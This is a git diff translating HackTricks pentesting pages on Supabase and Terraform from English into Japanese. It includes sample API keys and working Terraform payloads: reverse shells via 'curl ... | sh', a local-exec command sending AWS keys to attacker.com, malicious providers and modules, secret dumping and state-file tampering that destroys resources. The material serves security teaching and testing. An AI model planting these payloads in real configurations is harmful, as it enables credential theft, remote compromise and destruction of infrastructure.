SSLの設定：プレーンテキスト接続を拒否（デフォルトでは有効） +- ディスクサイズの設定 +- ネットワーク制限と禁止の適用 -## API Configuration +## API設定 > [!TIP] -> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/api`** +> **このデータには、`https://supabase.com/dashboard/project//settings/api`のようなリンクからアクセスできます** -The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`. +プロジェクト内のsupabase APIにアクセスするためのURLは次のようになります：`https://jnanozjdybtpqgcwhdiz.supabase.co`。 -### anon api keys +### anon APIキー -It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in +**anon APIキー**（`role: "anon"`）も生成されます：`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`、アプリケーションがAPIキーに接触するために使用する必要があります。 -It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be: +このAPIに接触するためのAPI RESTは[**ドキュメント**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server)で見つけることができますが、最も興味深いエンドポイントは次のとおりです：
-Signup (/auth/v1/signup) - +サインアップ (/auth/v1/signup) ``` POST /auth/v1/signup HTTP/2 Host: id.io.net @@ -69,13 +68,11 @@ Priority: u=1, i {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."} ``` -
-Login (/auth/v1/token?grant_type=password) - +ログイン (/auth/v1/token?grant_type=password) ``` POST /auth/v1/token?grant_type=password HTTP/2 Host: hypzbtgspjkludjcnjxl.supabase.co @@ -100,68 +97,63 @@ Priority: u=1, i {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."} ``` -
-So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**. +だから、クライアントが与えられたサブドメインを使用してsupabaseを利用していることを発見した場合（会社のサブドメインが彼らのsupabaseサブドメインにCNAMEを持っている可能性があります）、**supabase APIを使用してプラットフォームに新しいアカウントを作成する**ことを試みるかもしれません。 ### secret / service_role api keys -A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**. +**`role: "service_role"`**を持つ秘密のAPIキーも生成されます。このAPIキーは、**Row Level Security**をバイパスできるため、秘密にしておく必要があります。 -The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` +APIキーは次のようになります: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` ### JWT Secret -A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**. +**JWT Secret**も生成され、アプリケーションが**カスタムJWTトークンを作成および署名**できるようになります。 ## Authentication ### Signups > [!TIP] -> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints. +> **デフォルト**では、supabaseは**新しいユーザーがアカウントを作成する**ことをプロジェクトで許可します。 -However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\ -This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those: +しかし、これらの新しいアカウントは、デフォルトで**メールアドレスを検証する必要があります**。メールアドレスを検証せずにログインできるようにするために、**「匿名サインインを許可」**を有効にすることが可能です。これにより、**予期しないデータ**にアクセスできる可能性があります（彼らは`public`と`authenticated`の役割を得ます）。\ +これは非常に悪いアイデアです。なぜなら、supabaseはアクティブユーザーごとに料金を請求するため、人々はユーザーを作成してログインし、supabaseはそれに対して料金を請求するからです：
### Passwords & sessions -It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\ -It's recommended to **improve the requirements as the default ones are weak**. +最小パスワード長（デフォルト）、要件（デフォルトではなし）を指定し、漏洩したパスワードの使用を禁止することが可能です。\ +**デフォルトの要件は弱いため、要件を改善することをお勧めします**。 -- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...) -- Bot and Abuse Protection: It's possible to enable Captcha. +- ユーザーセッション: ユーザーセッションの動作を構成することが可能です（タイムアウト、ユーザーごとに1セッション...） +- ボットおよび悪用保護: Captchaを有効にすることが可能です。 ### SMTP Settings -It's possible to set an SMTP to send emails. +メールを送信するためのSMTPを設定することが可能です。 ### Advanced Settings -- Set expire time to access tokens (3600 by default) -- Set to detect and revoke potentially compromised refresh tokens and timeout -- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default) -- Max Direct Database Connections: Max number of connections used to auth (10 by default) -- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default) +- アクセストークンの有効期限を設定（デフォルトは3600） +- 潜在的に侵害されたリフレッシュトークンを検出して取り消し、タイムアウトを設定 +- MFA: ユーザーごとに同時に登録できるMFA要素の数を指定（デフォルトは10） +- 最大直接データベース接続: 認証に使用される最大接続数（デフォルトは10） +- 最大リクエスト期間: 認証リクエストが持続できる最大時間（デフォルトは10秒） ## Storage > [!TIP] -> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets). +> Supabaseは**ファイルを保存し**、URL経由でアクセス可能にします（S3バケットを使用します）。 -- Set the upload file size limit (default is 50MB) -- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` -- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) +- アップロードファイルサイズの制限を設定（デフォルトは50MB） +- S3接続は次のようなURLで提供されます: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` +- `access key ID`（例: `a37d96544d82ba90057e0e06131d0a7b`）と`secret access key`（例: `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`）から構成される**S3アクセスキーを要求する**ことが可能です。 ## Edge Functions -It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly). +supabaseに**秘密を保存する**ことも可能で、これは**エッジ関数によってアクセス可能**です（ウェブから作成および削除できますが、その値に直接アクセスすることはできません）。 {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 09b875ff2..74aa5f4a0 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -2,307 +2,277 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -[From the docs:](https://developer.hashicorp.com/terraform/intro) +[ドキュメントから:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features. +HashiCorp Terraformは、**インフラストラクチャをコードとして管理するツール**であり、**クラウドおよびオンプレミスのリソース**を人間が読みやすい設定ファイルで定義でき、これをバージョン管理、再利用、共有できます。これにより、一貫したワークフローを使用して、インフラストラクチャのライフサイクル全体を通じてプロビジョニングおよび管理できます。Terraformは、コンピュート、ストレージ、ネットワークリソースなどの低レベルコンポーネントだけでなく、DNSエントリやSaaS機能などの高レベルコンポーネントも管理できます。 -#### How does Terraform work? +#### Terraformはどのように機能しますか？ -Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API. +Terraformは、クラウドプラットフォームや他のサービス上でリソースを作成および管理するために、アプリケーションプログラミングインターフェース（API）を通じて操作します。プロバイダーは、Terraformがアクセス可能なAPIを持つほぼすべてのプラットフォームやサービスで機能することを可能にします。 ![](<../images/image (177).png>) -HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more. +HashiCorpとTerraformコミュニティは、すでに**1700以上のプロバイダー**を作成しており、数千の異なるタイプのリソースやサービスを管理でき、この数は増え続けています。すべての公開されているプロバイダーは、[Terraform Registry](https://registry.terraform.io/)で見つけることができ、Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDogなどが含まれます。 -The core Terraform workflow consists of three stages: +Terraformのコアワークフローは、3つのステージで構成されています。 -- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer. -- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration. -- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines. +- **書き込み:** 複数のクラウドプロバイダーやサービスにまたがるリソースを定義します。たとえば、セキュリティグループとロードバランサーを持つ仮想プライベートクラウド（VPC）ネットワーク上の仮想マシンにアプリケーションをデプロイするための設定を作成することがあります。 +- **計画:** Terraformは、既存のインフラストラクチャと設定に基づいて、作成、更新、または削除するインフラストラクチャを説明する実行計画を作成します。 +- **適用:** 承認後、Terraformはリソースの依存関係を尊重しながら、提案された操作を正しい順序で実行します。たとえば、VPCのプロパティを更新し、そのVPC内の仮想マシンの数を変更した場合、Terraformは仮想マシンをスケールする前にVPCを再作成します。 ![](<../images/image (215).png>) -### Terraform Lab +### Terraformラボ -Just install terraform in your computer. +コンピュータにterraformをインストールするだけです。 -Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads). +こちらに[ガイド](https://learn.hashicorp.com/tutorials/terraform/install-cli)があり、こちらにterraformをダウンロードする[最良の方法](https://www.terraform.io/downloads)があります。 -## RCE in Terraform +## TerraformにおけるRCE -Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**. +Terraformは、**ウェブページやネットワークサービスを公開するプラットフォームを持っていないため**、terraformを妥協する唯一の方法は、**terraform設定ファイルを追加/変更できること**です。 -However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly. +しかし、terraformは**非常に敏感なコンポーネント**であり、適切に機能するために**特権アクセス**を持つ必要があります。 -The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**. +攻撃者がterraformが実行されているシステムを妥協する主な方法は、**terraform設定を保存するリポジトリを妥協すること**です。なぜなら、ある時点でそれらは**解釈される**からです。 -Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**: +実際、**PR**が作成された後に**terraform plan/applyを自動的に実行する**ソリューションが存在します。たとえば、**Atlantis**があります： {{#ref}} atlantis-security.md {{#endref}} -If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`. +terraformファイルを妥協できれば、誰かが`terraform plan`または`terraform apply`を実行したときにRCEを実行するさまざまな方法があります。 ### Terraform plan -Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`. +Terraform planは、terraformで**最も使用されるコマンド**であり、開発者やソリューションが常に呼び出すため、**RCEを取得する最も簡単な方法**は、任意のコマンドを実行するterraform設定ファイルを汚染することです。 -**Using an external provider** +**外部プロバイダーを使用する** -Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`. - -Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`: +Terraformは、Terraformと外部プログラムの間でインターフェースを提供する[`external`プロバイダー](https://registry.terraform.io/providers/hashicorp/external/latest/docs)を提供しています。`plan`中に任意のコードを実行するために`external`データソースを使用できます。 +terraform設定ファイルに次のようなものを注入すると、`terraform plan`を実行したときにリバースシェルが実行されます： ```javascript data "external" "example" { - program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] +program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` +**カスタムプロバイダーの使用** -**Using a custom provider** - -An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)): - +攻撃者は、[Terraform Registry](https://registry.terraform.io/)に[カスタムプロバイダー](https://learn.hashicorp.com/tutorials/terraform/provider-setup)を送信し、その後、機能ブランチのTerraformコードに追加することができます（[こちらの例](https://alex.kaskaso.li/post/terraform-plan-rce)）： ```javascript - terraform { - required_providers { - evil = { - source = "evil/evil" - version = "1.0" - } - } - } +terraform { +required_providers { +evil = { +source = "evil/evil" +version = "1.0" +} +} +} provider "evil" {} ``` +プロバイダーは `init` でダウンロードされ、`plan` が実行されるときに悪意のあるコードが実行されます。 -The provider is downloaded in the `init` and will run the malicious code when `plan` is executed +[https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) に例があります。 -You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) +**外部参照の使用** -**Using an external reference** - -Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions: - -- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: +前述の2つのオプションは便利ですが、あまりステルス性がありません（2つ目はよりステルス性がありますが、1つ目よりも複雑です）。以下の提案に従うことで、この攻撃を**よりステルスに**実行できます： +- terraformファイルにrev shellを直接追加する代わりに、rev shellを含む**外部リソースをロード**することができます： ```javascript module "not_rev_shell" { - source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" +source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` - You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコードを隠す**ことができます。例えば、次のようにします: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -You just need to make sure some payload like the following ones ends in the `main.tf` file: - +Terraform applyはすべての変更を適用するために実行されます。また、**悪意のあるTerraformファイルを** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**を使って注入することでRCEを取得するために悪用することもできます。**\ +`main.tf`ファイルに次のようなペイロードが含まれていることを確認するだけです: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { - provisioner "local-exec" { - command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" - } +provisioner "local-exec" { +command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" +} } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { - provisioner "local-exec" { - command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" - } +provisioner "local-exec" { +command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" +} } ``` +**前の技術からの提案**に従って、この攻撃を**外部参照を使用してよりステルス的に実行**します。 -Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**. - -## Secrets Dumps - -You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like: +## シークレットダンプ +`terraform apply`を実行することで**terraformによって使用されるシークレット値をダンプ**するには、terraformファイルに次のようなものを追加します: ```json output "dotoken" { - value = nonsensitive(var.do_token) +value = nonsensitive(var.do_token) } ``` +## Terraformステートファイルの悪用 -## Abusing Terraform State Files +terraformステートファイルに書き込みアクセスがあるが、terraformコードを変更できない場合、[**この研究**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)はファイルを利用するための興味深いオプションを提供します。 -In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file: +### リソースの削除 -### Deleting resources +リソースを破壊する方法は2つあります： -There are 2 ways to destroy resources: - -1. **Insert a resource with a random name into the state file pointing to the real resource to destroy** - -Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page: +1. **実際のリソースを削除するために、ランダムな名前のリソースをステートファイルに挿入する** +terraformはそのリソースが存在すべきではないと判断し、それを削除します（指定された実際のリソースIDに従って）。前のページの例： ```json { - "mode": "managed", - "type": "aws_instance", - "name": "example", - "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", - "instances": [ - { - "attributes": { - "id": "i-1234567890abcdefg" - } - } - ] +"mode": "managed", +"type": "aws_instance", +"name": "example", +"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", +"instances": [ +{ +"attributes": { +"id": "i-1234567890abcdefg" +} +} +] }, ``` +2. **リソースを削除するように変更し、更新できないようにする（そうすれば削除され再作成される）** -2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)** - -For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it. +EC2インスタンスの場合、インスタンスのタイプを変更するだけで、terraformはそれを削除して再作成します。 ### RCE -It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research: - +[カスタムプロバイダーを作成する](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider)ことも可能で、terraformステートファイル内のプロバイダーの1つを悪意のあるものに置き換えるか、悪意のあるプロバイダーを持つ空のリソースを追加することができます。元の研究からの例: ```json "resources": [ { - "mode": "managed", - "type": "scaffolding_example", - "name": "example", - "provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", - "instances": [ +"mode": "managed", +"type": "scaffolding_example", +"name": "example", +"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", +"instances": [ - ] +] }, ``` +### ブラックリストに登録されたプロバイダーの置き換え -### Replace blacklisted provider - -In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well. - +`hashicorp/external` がブラックリストに登録されている状況に遭遇した場合、次の手順で `external` プロバイダーを再実装できます。注意: https://registry.terraform.io/providers/nazarewk/external/latest に公開されている external プロバイダーのフォークを使用しています。自分自身のフォークや再実装を公開することもできます。 ```terraform terraform { - required_providers { - external = { - source = "nazarewk/external" - version = "3.0.0" - } - } +required_providers { +external = { +source = "nazarewk/external" +version = "3.0.0" +} +} } ``` - -Then you can use `external` as per normal. - +その後、通常通り `external` を使用できます。 ```terraform data "external" "example" { - program = ["sh", "-c", "whoami"] +program = ["sh", "-c", "whoami"] } ``` - -## Automatic Audit Tools +## 自動監査ツール ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats. - -- **Features:** - - Real-time scanning for security vulnerabilities and compliance issues. - - Integration with version control systems (GitHub, GitLab, Bitbucket). - - Automated fix pull requests. - - Detailed remediation advice. -- **Sign Up:** Create an account on [Snyk](https://snyk.io/). +Snykは、Terraform、CloudFormation、Kubernetes、およびその他のIaCフォーマットにおける脆弱性と誤設定を検出する包括的なInfrastructure as Code (IaC)スキャンソリューションを提供します。 +- **特徴:** +- セキュリティ脆弱性とコンプライアンス問題のリアルタイムスキャン。 +- バージョン管理システム（GitHub、GitLab、Bitbucket）との統合。 +- 自動修正プルリクエスト。 +- 詳細な修正アドバイス。 +- **サインアップ:** [Snyk](https://snyk.io/)でアカウントを作成します。 ```bash brew tap snyk/tap brew install snyk snyk auth snyk iac test /path/to/terraform/code ``` - ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages. +**Checkov** は、インフラストラクチャをコードとして扱う (IaC) ための静的コード分析ツールであり、画像やオープンソースパッケージのためのソフトウェア構成分析 (SCA) ツールでもあります。 -It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning. - -It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs). +これは、[Terraform](https://terraform.io/)、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md)、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md)、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md)、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md)、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md)、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md)、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md)、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md)、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md)、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md)、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md)、または [OpenTofu](https://opentofu.org/) を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティおよびコンプライアンスの誤設定を検出します。 +これは、一般的な脆弱性および露出 (CVE) のためのオープンソースパッケージと画像のスキャンである [ソフトウェア構成分析 (SCA) スキャン](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) を実行します。 ```bash pip install checkov checkov -d /path/to/folder ``` - ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code. +From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` は、インフラストラクチャコードに対するネガティブテスト機能を有効にするための、軽量でセキュリティおよびコンプライアンスに焦点を当てたテストフレームワークです。 -- **compliance:** Ensure the implemented code is following security standards, your own custom standards -- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ? -- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/) -- **pre-deploy:** it validates your code before it is deployed -- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated. -- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible. +- **compliance:** 実装されたコードがセキュリティ基準や独自のカスタム基準に従っていることを確認します +- **behaviour driven development:** ほぼすべてのものにBDDがありますが、IaCにはなぜないのでしょうか？ +- **portable:** `pip` からインストールするか、`docker` 経由で実行するだけです。 [Installation](https://terraform-compliance.com/pages/installation/) を参照してください +- **pre-deploy:** デプロイされる前にコードを検証します +- **easy to integrate:** パイプライン（またはgitフック）で実行でき、すべてのデプロイメントが検証されることを保証します。 +- **segregation of duty:** 別のチームが責任を持つ異なるリポジトリにテストを保持できます。 > [!NOTE] -> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool. - +> 残念ながら、コードがアクセスできないプロバイダーを使用している場合、`terraform plan` を実行してこのツールを使用することはできません。 ```bash pip install terraform-compliance terraform plan -out=plan.out terraform-compliance -f /path/to/folder ``` - ### [tfsec](https://github.com/aquasecurity/tfsec) -From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations. - -- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers -- ⛔ Hundreds of built-in rules -- 🪆 Scans modules (local and remote) -- ➕ Evaluates HCL expressions as well as literal values -- ↪️ Evaluates Terraform functions e.g. `concat()` -- 🔗 Evaluates relationships between Terraform resources -- 🧰 Compatible with the Terraform CDK -- 🙅 Applies (and embellishes) user-defined Rego policies -- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif. -- 🛠️ Configurable (via CLI flags and/or config file) -- ⚡ Very fast, capable of quickly scanning huge repositories +From the [**docs**](https://github.com/aquasecurity/tfsec): tfsecは、あなたのterraformコードの静的分析を使用して、潜在的な誤設定を特定します。 +- ☁️ すべての主要（および一部のマイナー）クラウドプロバイダーにわたる誤設定をチェック +- ⛔ 数百の組み込みルール +- 🪆 モジュールをスキャン（ローカルおよびリモート） +- ➕ HCL式およびリテラル値を評価 +- ↪️ Terraform関数を評価 e.g. `concat()` +- 🔗 Terraformリソース間の関係を評価 +- 🧰 Terraform CDKと互換性あり +- 🙅 ユーザー定義のRegoポリシーを適用（および装飾） +- 📃 複数の出力形式をサポート: lovely（デフォルト）、JSON、SARIF、CSV、CheckStyle、JUnit、text、Gif。 +- 🛠️ 設定可能（CLIフラグおよび/または設定ファイルを介して） +- ⚡ 非常に高速で、大規模なリポジトリを迅速にスキャン可能 ```bash brew install tfsec tfsec /path/to/folder ``` - ### [KICKS](https://github.com/Checkmarx/kics) -Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx. - -**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project. +インフラストラクチャコードの開発サイクルの初期段階で、セキュリティの脆弱性、コンプライアンスの問題、およびインフラストラクチャの誤設定を早期に発見するために、Checkmarxの**KICS**を使用してください。 +**KICS**は**K**eeping **I**nfrastructure as **C**ode **S**ecureの略で、オープンソースであり、クラウドネイティブプロジェクトには必須です。 ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` - ### [Terrascan](https://github.com/tenable/terrascan) -From the 